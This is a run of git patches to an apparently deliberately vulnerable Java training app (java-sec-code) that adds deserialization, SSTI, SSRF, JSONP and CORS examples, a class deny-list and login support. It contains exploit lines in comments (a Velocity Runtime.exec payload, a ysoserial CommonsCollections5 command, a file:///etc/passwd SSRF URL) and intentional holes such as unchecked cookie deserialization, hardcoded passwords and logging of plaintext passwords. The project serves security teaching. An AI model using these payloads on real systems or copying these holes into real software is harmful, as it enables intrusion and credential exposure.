+package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.*; + +/** + * RASP：Hook java/io/ObjectInputStream类的resolveClass方法 + * RASP: https://github.com/baidu/openrasp/blob/master/agent/java/engine/src/main/java/com/baidu/openrasp/hook/DeserializationHook.java + * + * Run main method to test. + */ +public class AntObjectInputStream extends ObjectInputStream { + + private final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class); + + public AntObjectInputStream(InputStream inputStream) throws IOException { + super(inputStream); + } + + /** + * 只允许反序列化SerialObject class + * + * 在应用上使用黑白名单校验方案比较局限，因为只有使用自己定义的AntObjectInputStream类，进行反序列化才能进行校验。 + * 类似fastjson通用类的反序列化就不能校验。 + * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法，全局的检测白名单。 + * + */ + @Override + protected Class resolveClass(final ObjectStreamClass desc) + throws IOException, ClassNotFoundException + { + String className = desc.getName(); + + // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject + logger.info("Deserialize class name: " + className); + + String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer"}; + + for (String denyClass : denyClasses) { + if (className.startsWith(denyClass)) { + throw new InvalidClassException("Unauthorized deserialization attempt", className); + } + } + + return super.resolveClass(desc); + } + + public static void main(String args[]) throws Exception{ + // 定义myObj对象 + MyObject myObj = new MyObject(); + myObj.name = "world"; + + // 创建一个包含对象进行反序列化信息的/tmp/object数据文件 + FileOutputStream fos = new FileOutputStream("/tmp/object"); + ObjectOutputStream os = new ObjectOutputStream(fos); + + // writeObject()方法将myObj对象写入/tmp/object文件 + os.writeObject(myObj); + os.close(); + + // 从文件中反序列化obj对象 + FileInputStream fis = new FileInputStream("/tmp/object"); + AntObjectInputStream ois = new AntObjectInputStream(fis); // AntObjectInputStream class + + //恢复对象即反序列化 + MyObject objectFromDisk = (MyObject)ois.readObject(); + System.out.println(objectFromDisk.name); + ois.close(); + } + + static class MyObject implements Serializable { + public String name; + } +} + + diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index c37be3fa..9cf68432 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -24,7 +24,7 @@ joychou.security.referer.uri = /jsonp/** # csrf token check joychou.security.csrf.enabled = true # URI without CSRF check (only support ANT url format) -joychou.security.csrf.exclude.url = /xxe/**, /fastjon/** +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/** # method for CSRF check joychou.security.csrf.method = POST ### csrf configuration ends ### From cc99e47c740c029a97ef0aa7d0dee2e2694138d1 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 19 Jul 2019 17:33:37 +0800 Subject: [PATCH 040/108] udpate readme --- README.md | 1 + README_zh.md | 1 + src/main/java/org/joychou/controller/SSTI.java | 6 ++++-- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 3b35747f..6f2e11f2 100644 --- a/README.md +++ b/README.md @@ -46,6 +46,7 @@ Sort by letter. - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) - [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/README_zh.md b/README_zh.md index 70bbaedf..9ae1820f 100644 --- a/README_zh.md +++ b/README_zh.md @@ -43,6 +43,7 @@ - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) - [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) +- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java index 7e9d2edb..70e7c7a6 100644 --- a/src/main/java/org/joychou/controller/SSTI.java +++ b/src/main/java/org/joychou/controller/SSTI.java @@ -15,9 +15,11 @@ public class SSTI { /** - * SSTI of Java velocity. - * Open a calculator in MacOS. + * SSTI of Java velocity. The latest Velocity version still has this problem. + * Fix method: Avoid to use Velocity.evaluate method. + * * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) + * Open a calculator in MacOS. * * @param template exp */ From 31f51708ed3de9c101093ad38712f54728704e34 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Sat, 20 Jul 2019 12:24:28 +0800 Subject: [PATCH 041/108] add deserialize --- java-sec-code.iml | 2 +- .../org/joychou/controller/Deserialize.java | 104 ++++++++++++++---- .../java/org/joychou/controller/SSRF.java | 3 + .../security/AntObjectInputStream.java | 4 +- 4 files changed, 91 insertions(+), 22 deletions(-) diff --git a/java-sec-code.iml b/java-sec-code.iml index 9cb2ac16..0278f6c0 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -12,7 +12,7 @@ - + diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 964a7777..d597087c 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,35 +1,99 @@ package org.joychou.controller; - -import org.springframework.stereotype.Controller; +import org.apache.commons.lang.StringUtils; +import org.joychou.security.AntObjectInputStream; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; -import java.io.InputStream; +import java.io.ByteArrayInputStream; +import java.io.IOException; import java.io.ObjectInputStream; +import java.util.Base64; /** - * @author JoyChou (joychou@joychou.org) - * @Date 2018年06月14日 - * @Desc 该应用必须有Commons-Collections包才能利用反序列化命令执行。 + * Deserialize RCE using Commons-Collections gadget. + * + * @author JoyChou @2018-06-14 */ - -@Controller +@RestController @RequestMapping("/deserialize") public class Deserialize { - @RequestMapping("/test") - @ResponseBody - public static String deserialize_test(HttpServletRequest request) throws Exception{ - try { - InputStream iii = request.getInputStream(); - ObjectInputStream in = new ObjectInputStream(iii); - in.readObject(); // 触发漏洞 - in.close(); - return "test"; - }catch (Exception e){ - return "exception"; + + private static Logger logger= LoggerFactory.getLogger(Deserialize.class); + + /** + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 + * Add the result to rememberMe cookie. + * + * http://localhost:8080/deserialize/rememberMe/vul + */ + @RequestMapping("/rememberMe/vul") + public static String rememberMeVul(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie[] cookies = request.getCookies(); + String rememberMe = ""; + + if (null == cookies) { + logger.info("No cookies."); + } else { + for (Cookie cookie : cookies) { + if ( cookie.getName().equals("rememberMe") ) { + rememberMe = cookie.getValue(); + } + } + } + + if (StringUtils.isBlank(rememberMe) ) { + return "No rememberMe cookie. Right?"; } + + byte[] decoded = Base64.getDecoder().decode(rememberMe); + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + + return "Are u ok?"; + } + + /** + * Check deserialize class using black list. + * + * http://localhost:8080/deserialize/rememberMe/security + */ + @RequestMapping("/rememberMe/security") + public static String rememberMeBlackClassCheck(HttpServletRequest request) + throws IOException, ClassNotFoundException { + + Cookie[] cookies = request.getCookies(); + String rememberMe = ""; + + if (null == cookies) { + logger.info("No cookies in /rememberMe/security"); + } else { + for (Cookie cookie : cookies) { + if ( cookie.getName().equals("rememberMe") ) { + rememberMe = cookie.getValue(); + } + } + } + + if (StringUtils.isBlank(rememberMe) ) { + return "No rememberMe cookie. Right?"; + } + + byte[] decoded = Base64.getDecoder().decode(rememberMe); + ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); + AntObjectInputStream in = new AntObjectInputStream(bytes); + in.readObject(); + in.close(); + + return "I'm very OK."; } } diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index f774fb27..fec5cf23 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -103,6 +103,9 @@ public static String ssrf_Request(HttpServletRequest request) * Download the url file. * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd * + * new URL(String url).openConnection() + * new URL(String url).openStream() + * new URL(String url).getContent() */ @RequestMapping("/openStream") @ResponseBody diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java index d837b4c1..b15d7589 100644 --- a/src/main/java/org/joychou/security/AntObjectInputStream.java +++ b/src/main/java/org/joychou/security/AntObjectInputStream.java @@ -36,7 +36,9 @@ protected Class resolveClass(final ObjectStreamClass desc) // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject logger.info("Deserialize class name: " + className); - String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer"}; + String[] denyClasses = {"java.net.InetAddress", + "org.apache.commons.collections.Transformer", + "org.apache.commons.collections.functors"}; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { From 0a9c97825e216fed465f267a545ce365f751bc73 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Sat, 20 Jul 2019 12:25:56 +0800 Subject: [PATCH 042/108] update readme --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6f2e11f2..b273bf10 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,7 @@ Sort by letter. - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) - [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) - [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) From 4763a3a3938d3e0b0775dc0ffb895e7fe13ce7b9 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Sat, 20 Jul 2019 12:26:26 +0800 Subject: [PATCH 043/108] update readme --- README_zh.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README_zh.md b/README_zh.md index 9ae1820f..88d31149 100644 --- a/README_zh.md +++ b/README_zh.md @@ -38,6 +38,7 @@ - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/wiki/Deserialize) - [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) - [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) From 8a9977d02a03ac62ab6aad8e96d8534e4c443478 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 22 Jul 2019 00:07:50 +0800 Subject: [PATCH 044/108] add auth --- README.md | 21 ++++ README_zh.md | 20 ++++ .../java/org/joychou/controller/CORS.java | 14 +-- .../java/org/joychou/controller/CSRF.java | 12 +- .../java/org/joychou/controller/Index.java | 10 +- .../java/org/joychou/controller/Login.java | 58 ++++++++++ .../org/joychou/controller/jsonp/JSONP.java | 32 ++++-- .../security/AntObjectInputStream.java | 2 +- .../security/CsrfAccessDeniedHandler.java | 2 +- .../joychou/security/LoginFailureHandler.java | 32 ++++++ .../joychou/security/LoginSuccessHandler.java | 30 +++++ .../org/joychou/security/SecurityUtil.java | 2 - .../joychou/security/WebSecurityConfig.java | 27 ++++- src/main/resources/application.properties | 2 +- src/main/resources/static/css/login.css | 106 ++++++++++++++++++ .../resources/static/js/jquery-1.11.1.min.js | 4 + src/main/resources/templates/csrfTest.html | 27 ----- src/main/resources/templates/form.html | 19 ++++ src/main/resources/templates/login.html | 41 +++++++ 19 files changed, 397 insertions(+), 64 deletions(-) create mode 100644 src/main/java/org/joychou/controller/Login.java create mode 100644 src/main/java/org/joychou/security/LoginFailureHandler.java create mode 100644 src/main/java/org/joychou/security/LoginSuccessHandler.java create mode 100644 src/main/resources/static/css/login.css create mode 100644 src/main/resources/static/js/jquery-1.11.1.min.js delete mode 100644 src/main/resources/templates/csrfTest.html create mode 100644 src/main/resources/templates/form.html create mode 100644 src/main/resources/templates/login.html diff --git a/README.md b/README.md index b273bf10..77dfd32f 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,27 @@ This project can also be called Java vulnerability code. Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments. +## Authenticate + +### Login + +[http://localhost:8080/login](http://localhost:8080/login) + +If you are not logged in, accessing any page will redirect you to the login page. The username & password are as follows. + +``` +admin/admin123 +joychou/joychou123 +``` + +### Logout + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### RememberMe + +Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-operational session will expire. In order to solve this problem, the rememberMe function is introduced, and the default expiration time is 2 weeks. + ## Vulnerability Code Sort by letter. diff --git a/README_zh.md b/README_zh.md index 88d31149..f94932a1 100644 --- a/README_zh.md +++ b/README_zh.md @@ -10,6 +10,26 @@ 每个漏洞类型代码默认存在安全漏洞（除非本身不存在漏洞），相关修复代码在注释里。具体可查看每个漏洞代码和注释。 +## 认证 + +### 登录 + +[http://localhost:8080/login](http://localhost:8080/login) + +如果未登录，访问任何页面都会重定向到login页面。用户名和密码如下。 + +``` +admin/admin123 +joychou/joychou123 +``` +### 登出 + +[http://localhost:8080/logout](http://localhost:8080/logout) + +### 记住我 + +Tomcat默认JSESSION会话有效时间为30分钟，所以30分钟不操作会话将过期。为了解决这一问题，引入rememberMe功能，默认过期时间为2周。 + ## 漏洞代码 - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java index 6c8d5625..bf93c7ce 100644 --- a/src/main/java/org/joychou/controller/CORS.java +++ b/src/main/java/org/joychou/controller/CORS.java @@ -1,10 +1,10 @@ package org.joychou.controller; import org.joychou.security.SecurityUtil; -import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.joychou.controller.jsonp.JSONP; +import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @@ -15,7 +15,7 @@ * @desc https://github.com/JoyChou93/java-sec-code/wiki/CORS */ -@Controller +@RestController @RequestMapping("/cors") public class CORS { @@ -23,7 +23,6 @@ public class CORS { protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; @RequestMapping("/vuls1") - @ResponseBody private static String vuls1(HttpServletRequest request, HttpServletResponse response) { // 获取Header中的Origin String origin = request.getHeader("origin"); @@ -33,7 +32,6 @@ private static String vuls1(HttpServletRequest request, HttpServletResponse resp } @RequestMapping("/vuls2") - @ResponseBody private static String vuls2(HttpServletResponse response) { // 不建议设置为* // 后端设置Access-Control-Allow-Origin为*的情况下，跨域的时候前端如果设置withCredentials为true会异常 @@ -43,15 +41,13 @@ private static String vuls2(HttpServletResponse response) { @CrossOrigin("*") @RequestMapping("/vuls3") - @ResponseBody private static String vuls3(HttpServletResponse response) { return info; } @RequestMapping("/sec") - @ResponseBody - private static String seccode(HttpServletRequest request, HttpServletResponse response) { + public String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); // 如果origin不为空并且origin不在白名单内，认定为不安全。 @@ -61,7 +57,7 @@ private static String seccode(HttpServletRequest request, HttpServletResponse re } response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); - return info; + return JSONP.getUserInfo(request); } diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java index ea33c59e..5481260e 100644 --- a/src/main/java/org/joychou/controller/CSRF.java +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -7,20 +7,18 @@ import org.springframework.web.bind.annotation.ResponseBody; /** - * @author JoyChou (joychou@joychou.org) - * @date 2019.05.31 - * @desc check csrf using spring-security - * @usage Access http://localhost:8080/csrf/ -> click submit + * check csrf using spring-security + * Access http://localhost:8080/csrf/ -> click submit + * + * @author JoyChou (joychou@joychou.org) @2019-05-31 */ - - @Controller @RequestMapping("/csrf") public class CSRF { @GetMapping("/") public String index() { - return "csrfTest"; + return "form"; } @PostMapping("/post") diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java index 4f2fab99..e38761d1 100644 --- a/src/main/java/org/joychou/controller/Index.java +++ b/src/main/java/org/joychou/controller/Index.java @@ -6,6 +6,7 @@ import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import javax.servlet.http.HttpServletRequest; import java.util.HashMap; import java.util.Map; @@ -18,11 +19,14 @@ @Controller public class Index { - @RequestMapping("/") + @RequestMapping("/index") @ResponseBody - public static String index() { + public static String index(HttpServletRequest request) { + String username = request.getUserPrincipal().getName(); Map m = new HashMap(); - m.put("app_name", "java_vul_code"); + m.put("username", username); + m.put("login", "success"); + m.put("app_name", "java security code"); m.put("java_version", System.getProperty("java.version")); m.put("fastjson_version", JSON.VERSION); diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java new file mode 100644 index 00000000..7983efcd --- /dev/null +++ b/src/main/java/org/joychou/controller/Login.java @@ -0,0 +1,58 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +@Controller +public class Login { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/login") + public String login() { + return "login"; + } + + @GetMapping("/logout") + public String logoutPage (HttpServletRequest request, HttpServletResponse response) { + + String username = request.getUserPrincipal().getName(); + + Authentication auth = SecurityContextHolder.getContext().getAuthentication(); + if (auth != null) { + new SecurityContextLogoutHandler().logout(request, response, auth); + } + + String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie + for (String key : deleteCookieKey) { + Cookie cookie = new Cookie(key, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + response.addCookie(cookie); + } + + if (null == request.getUserPrincipal()) { + logger.info("User " + username + " logout successfully."); + } else { + logger.info("User " + username + " logout failed. Please try again."); + } + + return "redirect:/login?logout"; + } + + @RequestMapping("/") + public String redirect() { + return "redirect:/index"; + } +} diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java index 2f474440..9c7eac25 100644 --- a/src/main/java/org/joychou/controller/jsonp/JSONP.java +++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java @@ -7,7 +7,9 @@ import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; - +import java.security.Principal; +import java.util.HashMap; +import java.util.Map; /** @@ -19,10 +21,20 @@ @RequestMapping("/jsonp") public class JSONP { - private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; private static String[] urlwhitelist = {"joychou.com", "joychou.org"}; + // get current login username + public static String getUserInfo(HttpServletRequest request) { + Principal principal = request.getUserPrincipal(); + + String username = principal.getName(); + + Map m = new HashMap(); + m.put("Username", username); + + return JSON.toJSONString(m); + } /** * Set the response content-type to application/javascript. * @@ -30,9 +42,9 @@ public class JSONP { * */ @RequestMapping(value = "/referer", produces = "application/javascript") - private static String referer(HttpServletRequest request, HttpServletResponse response) { + private String referer(HttpServletRequest request, HttpServletResponse response) { String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; + return callback + "(" + getUserInfo(request) + ")"; } /** @@ -43,7 +55,7 @@ private static String referer(HttpServletRequest request, HttpServletResponse re * */ @RequestMapping(value = "/emptyReferer", produces = "application/javascript") - private static String emptyReferer(HttpServletRequest request, HttpServletResponse response) { + private String emptyReferer(HttpServletRequest request, HttpServletResponse response) { String referer = request.getHeader("referer"); if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { @@ -51,7 +63,7 @@ private static String emptyReferer(HttpServletRequest request, HttpServletRespon } String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; + return callback + "(" + getUserInfo(request) + ")"; } /** @@ -63,8 +75,8 @@ private static String emptyReferer(HttpServletRequest request, HttpServletRespon * Such as JSONOjbect or JavaBean. String type cannot be used. */ @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) - public JSONObject advice() { - return JSON.parseObject(info); + public JSONObject advice(HttpServletRequest request) { + return JSON.parseObject(getUserInfo(request)); } @@ -73,7 +85,7 @@ public JSONObject advice() { * http://localhost:8080/jsonp/sec?callback=test */ @RequestMapping(value = "/sec", produces = "application/javascript") - private static String safecode(HttpServletRequest request, HttpServletResponse response) { + private String safecode(HttpServletRequest request, HttpServletResponse response) { String referer = request.getHeader("referer"); if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { @@ -81,7 +93,7 @@ private static String safecode(HttpServletRequest request, HttpServletResponse r } String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; + return callback + "(" + getUserInfo(request) + ")"; } diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java index b15d7589..ef332360 100644 --- a/src/main/java/org/joychou/security/AntObjectInputStream.java +++ b/src/main/java/org/joychou/security/AntObjectInputStream.java @@ -13,7 +13,7 @@ */ public class AntObjectInputStream extends ObjectInputStream { - private final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class); + protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class); public AntObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index 65d9e6f3..8471ea0c 100644 --- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -19,7 +19,7 @@ */ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { - private final Logger logger= LoggerFactory.getLogger(CsrfAccessDeniedHandler.class); + protected final Logger logger= LoggerFactory.getLogger(this.getClass()); @Override public void handle(HttpServletRequest request, HttpServletResponse response, diff --git a/src/main/java/org/joychou/security/LoginFailureHandler.java b/src/main/java/org/joychou/security/LoginFailureHandler.java new file mode 100644 index 00000000..ab3329e1 --- /dev/null +++ b/src/main/java/org/joychou/security/LoginFailureHandler.java @@ -0,0 +1,32 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.authentication.AuthenticationFailureHandler; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + + + +public class LoginFailureHandler implements AuthenticationFailureHandler { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationFailure(HttpServletRequest request, + HttpServletResponse response, AuthenticationException exception) + throws ServletException, IOException { + + logger.info("Login failed. " + request.getRequestURL() + + " username: " + request.getParameter("username") + + " password: " + request.getParameter("password") ); + + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write("{\"code\":0, \"message\":\"Login failed.\"}"); + } + +} diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java new file mode 100644 index 00000000..05b7cb2c --- /dev/null +++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java @@ -0,0 +1,30 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.Authentication; +import org.springframework.security.web.authentication.AuthenticationSuccessHandler; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + + + +public class LoginSuccessHandler implements AuthenticationSuccessHandler { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationSuccess(HttpServletRequest request, + HttpServletResponse response, Authentication authentication) + throws ServletException, IOException { + + logger.info("USER : " + authentication.getName()+ " LOGIN success!"); + + // google ajax and sendRedirect + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write("{\"code\":1,\"message\":\"Login success!\"}"); + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index 63de75d8..edab9ab7 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -1,7 +1,5 @@ package org.joychou.security; - - import java.net.URI; public class SecurityUtil { diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 5ad22e2b..127115f3 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -1,7 +1,9 @@ package org.joychou.security; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; @@ -47,15 +49,34 @@ public boolean matches(HttpServletRequest request) { @Override protected void configure(HttpSecurity http) throws Exception { - // http.csrf().disable() // 去掉csrf校验 // 默认token存在session里，用CookieCsrfTokenRepository改为token存在cookie里。 // 但存在后端多台服务器情况，session不能同步的问题，所以一般使用cookie模式。 http.csrf() .requireCsrfProtectionMatcher(csrfRequestMatcher) .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri，多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); - // 自定义csrf校验失败的代码，默认是返回403错误页面 http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + + // spring security login settings + http.authorizeRequests() + .antMatchers("/css/**", "/js/**").permitAll() // permit static resources + .anyRequest().authenticated().and() // any request authenticated except above static resources + .formLogin().loginPage("/login").permitAll() // permit all to access /login page + .successHandler(new LoginSuccessHandler()) + .failureHandler(new LoginFailureHandler()).and() + .logout().logoutUrl("/logout").permitAll().and() + .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟，所以30分钟不操作会话将过期。为了解决这一问题，引入rememberMe功能。 + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth + .inMemoryAuthentication() + .withUser("joychou").password("joychou123").roles("USER").and() + .withUser("admin").password("admin123").roles("USER", "ADMIN"); } -} \ No newline at end of file + +} + + diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 9cf68432..8ba9a9b3 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -24,7 +24,7 @@ joychou.security.referer.uri = /jsonp/** # csrf token check joychou.security.csrf.enabled = true # URI without CSRF check (only support ANT url format) -joychou.security.csrf.exclude.url = /xxe/**, /fastjson/** +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /login/** # method for CSRF check joychou.security.csrf.method = POST ### csrf configuration ends ### diff --git a/src/main/resources/static/css/login.css b/src/main/resources/static/css/login.css new file mode 100644 index 00000000..26401f4e --- /dev/null +++ b/src/main/resources/static/css/login.css @@ -0,0 +1,106 @@ +.login-page { + width: 360px; + padding: 8% 0 0; + margin: auto; +} +.form { + position: relative; + z-index: 1; + background: #ffffff; + max-width: 360px; + margin: 0 auto 100px; + padding: 45px; + text-align: center; + box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24); +} +.form input { + outline: 0; + background: #f2f2f2; + width: 100%; + border: 0; + margin: 0 0 15px; + padding: 15px; + box-sizing: border-box; + font-size: 14px; +} +.form button { + text-transform: uppercase; + outline: 0; + background: #4caf50; + width: 100%; + border: 0; + padding: 15px; + color: #ffffff; + font-size: 14px; + -webkit-transition: all 0.3 ease; + transition: all 0.3 ease; + cursor: pointer; +} +.form button:hover, +.form button:active, +.form button:focus { + 